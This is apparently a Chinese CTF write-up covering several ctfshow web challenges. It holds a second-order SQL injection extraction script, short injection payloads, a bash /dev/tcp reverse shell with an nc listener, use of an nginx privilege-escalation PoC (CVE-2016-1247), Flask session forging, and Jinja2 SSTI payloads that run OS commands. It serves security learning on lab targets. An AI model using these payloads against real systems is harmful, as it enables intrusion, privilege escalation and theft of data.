文章目錄
- 簽到
- 登錄就有flag
- 出題人不想跟你說話.jpg
- 藍廋
- 一覽無余(需要再次學習)
- 簽退
- 參考資料
簽到
一進去就是login界面,F12看到有個register.php,說明就是一個二次注入的sql注入題,
所謂二次注入,就是再register中構造sql陳述句,然后登錄login來觸發,
找到羽師傅的腳本
import requests
import re
url_register = "http://7b093e85-e6d5-4784-adab-49ba20992eda.challenge.ctf.show/register.php"
url_login = "http://7b093e85-e6d5-4784-adab-49ba20992eda.challenge.ctf.show/login.php"
flag = ''
#這兒50其實是在看看flag的字符
for i in range(1, 50):
# 為什么要加兩個hex,因為前端不超過10,不能限制,后端會判斷是否為數字
# select陳述句,基本就是猜的
payload = "hex(hex(substr((select/**/flag/**/from/**/flag)from/**/" + str(i) + "/**/for/**/1))),/*"# from 1 for 1,相當與substr("",1,1)
print(payload)
s = requests.session()# 保持所有的請求都使用一個cookie,解決了cookie的問題
# 利用email去與username相連接,單引號先閉合,再傳payload,
data1 = {
'e': str(i + 30) + "',username=" + payload, #猜測insert陳述句
'u': "*/#",
'p': i + 30
}
# print(data1['e'])
r1 = s.post(url_register, data=data1)
data2 = {
'e': i + 30,
'p': i + 30
}
r2 = s.post(url_login, data=data2)
t = r2.text
# 登錄,是用eamil和password登錄,顯示是username顯示,說明可以通過這來得flag
real = re.findall("Hello (.*?),", t)[0]
flag += real
print(flag)
感嘆:確實寫腳本,效果明顯
登錄就有flag
考點:mysql弱型別
直接開始sql注入,先用bp fuzz,但是我的出了點問題
直接python fuzz吧
import requests
url="http://4bb5058d-d788-4c7b-b8d8-b760e2f34efe.challenge.ctf.show/check.php"
with open("a.txt","r") as f:
for test in f.readlines():
data={
"u":test.strip(),
"p":"123"
}
response=requests.post(url=url,data=data)
if "hack?" not in response.text:
if "long" not in response.text:
print(test.strip())
這個題,首先除了過濾了字符,而且還限制了長度(5個)
我們利用
# ' ^ 0
分號可以用于閉合,井號可以用于注釋,^進行異或運算,等號就是判等,這里需要利用sql的一個點“mysql弱型別轉換”,空異或0會查到所有非數字開頭的記錄
payload
'^0#
'^''#
出題人不想跟你說話.jpg
考點:就是個反彈shell
題干:
為了降低難度,漏洞大約每兩分鐘觸發一次
hint1: whoami && ls -l /
hint2:如你們所說,提權,看看服務器有什么服務

猜測可以使用菜刀連接,密碼為cai,進入根目錄發現flag,但沒有權限打開,猜測需要提權

漏洞每兩分鐘觸發一次,可能有定時任務:cat /etc/crontab
/etc/crontab,就是可以查看定時任務

發現底部有一個一分鐘的定時任務
先看看基本資訊
lsb_release -a,列出所有linux系統版本資訊
nginx -v,列出nginx版本資訊
lsb_release
-v 顯示版本資訊,
-i 顯示發行版的id,
-d 顯示該發行版的描述資訊,
-r 顯示當前系統是發行版的具體版本號,
-c 發行版代號,
-a 顯示上面的所有資訊,
-h 顯示幫助資訊,
nginx
nginx -s reopen #重啟Nginx
nginx -s reload #重新加載Nginx組態檔,然后以優雅的方式重啟Nginx
nginx -s stop #強制停止Nginx服務
killall nginx #殺死所有nginx行程
nginx -s quit #優雅地停止Nginx服務(即處理完所有請求后再停止服務)
nginx -t #檢測組態檔是否有語法錯誤,然后退出
nginx -v #顯示版本資訊并退出
nginx -V #顯示版本和配置選項資訊,然后退出
nginx -t #檢測組態檔是否有語法錯誤,然后退出
nginx -T #檢測組態檔是否有語法錯誤,轉儲并退出
nginx -q #在檢測組態檔期間屏蔽非錯誤資訊
nginx -?,-h #打開幫助資訊
nginx -p prefix #設定前綴路徑(默認是:/usr/share/nginx/)
nginx -c filename #設定組態檔(默認是:/etc/nginx/nginx.conf)
nginx -g directives #設定組態檔外的全域指令
得到
Ubuntu 14.04.5 LTS
nginx/1.4.6 (Ubuntu)
找到利用漏洞:Nginx權限提升漏洞(CVE-2016-1247)
下述版本之前均存在此漏洞:
Debian: Nginx1.6.2-5+deb8u3
Ubuntu 16.04: Nginx1.10.0-0ubuntu0.16.04.3
Ubuntu 14.04: Nginx1.4.6-1ubuntu3.6
Ubuntu 16.10: Nginx1.10.1-0ubuntu1.1
下載對應POC(第V部分):CVE-2016-1247
將POC上傳到服務器(nginx.sh)
注意:創建POC需要在linux系統中創建,否則運行時會報錯“/bin/bash^M: bad interpreter: No such file or directory”,這是由于腳本檔案的格式不同,linux卻是只能執行格式為unix格式的腳本,如果在windows下創建則會變成dos格式,
通過cat -A filename查看格式,dos格式的檔案行尾為^M$ ,unix格式的檔案行尾為$,

最基本的反彈shell
使用自己的服務器監聽用于反彈shell
nc -lvvn 39543
在被攻擊服務器上開啟反彈
bash -i >& /dev/tcp/addr/port 0>&1
關于nc的命令
-g<網關> 設定路由器躍程通信網關,最多可設定8個,
-G<指向器數目> 設定來源路由指向器,其數值為4的倍數,
-h 在線幫助,
-i<延遲秒數> 設定時間間隔,以便傳送資訊及掃描通信埠,
-l 使用監聽模式,管控傳入的資料,
-n 直接使用IP地址,而不通過域名服務器,
-o<輸出檔案> 指定檔案名稱,把往來傳輸的資料以16進制字碼傾倒成該檔案保存,
-p<通信埠> 設定本地主機使用的通信埠,
-r 亂數指定本地與遠端主機的通信埠,
-s<來源位址> 設定本地主機送出資料包的IP地址,
-u 使用UDP傳輸協議,
-v 顯示指令執行程序,
-w<超時秒數> 設定等待連線的時間,
-z 使用0輸入/輸出模式,只在掃描通信埠時使用,

反彈成功后運行POC(一定在自己的html檔案目錄下)
chmod a+rwx nginx.sh
./nginx.sh
./nginx.sh /var/log/nginx/error.log
Linux chmod(英文全拼:change mode)命令是控制用戶對檔案的權限的命令,這里a代表所用用戶,\+ 表示增加權限,r 表示可讀取,w 表示可寫入,x 表示可執行,

等待漏洞生效即可拿到shell

藍廋
flask的session偽造
直接腳本
可以看看筆者的文章
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
secret_key:原始碼中的ican
替換為admin.(還是在linux生成)
進去后,發現缺少該引數,需要GET或者POST引數
發現是個SSTI,payload
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()") }}{% endif %}{% endfor %}
說flag在記憶體,那么查看環境變數:Linux查看環境變數使用env命令顯示所有的環境變數
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('env').read()") }}{% endif %}{% endfor %}
一覽無余(需要再次學習)
直接看wp發現為CVE-2019-11043
利用工具:PHuiP-FPizdaM

執行成功,那么即可得到flag
p神友情提示:您應該注意,只有部分PHP-FPM子行程受到了污染,因此請嘗試幾次以執行該命令,
參考:PHP-FPM 遠程代碼執行漏洞(CVE-2019-11043)
PHP 遠程代碼執行漏洞復現(CVE-2019-11043)【反彈shell成功】
簽退
代碼
<?php ($S = $_GET['S'])?eval("$$S"):highlight_file(__FILE__);
參考資料
關于反彈shell的資料
https://xz.aliyun.com/t/2548(入手)
https://xz.aliyun.com/t/2549(入手)
https://www.freebuf.com/articles/system/178150.html
https://www.freebuf.com/articles/web/247967.html(總結)
wp
https://blog.csdn.net/bmth666/article/details/108929655?ops_request_misc=%7B%22request%5Fid%22%3A%22163550449116780265453248%22%2C%22scm%22%3A%2220140713.130102334..%22%7D&request_id=163550449116780265453248&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-108929655.pc_search_ecpm_flag&utm_term=ctfshow%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%95&spm=1018.2226.3001.4187
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/352109.html
標籤:其他
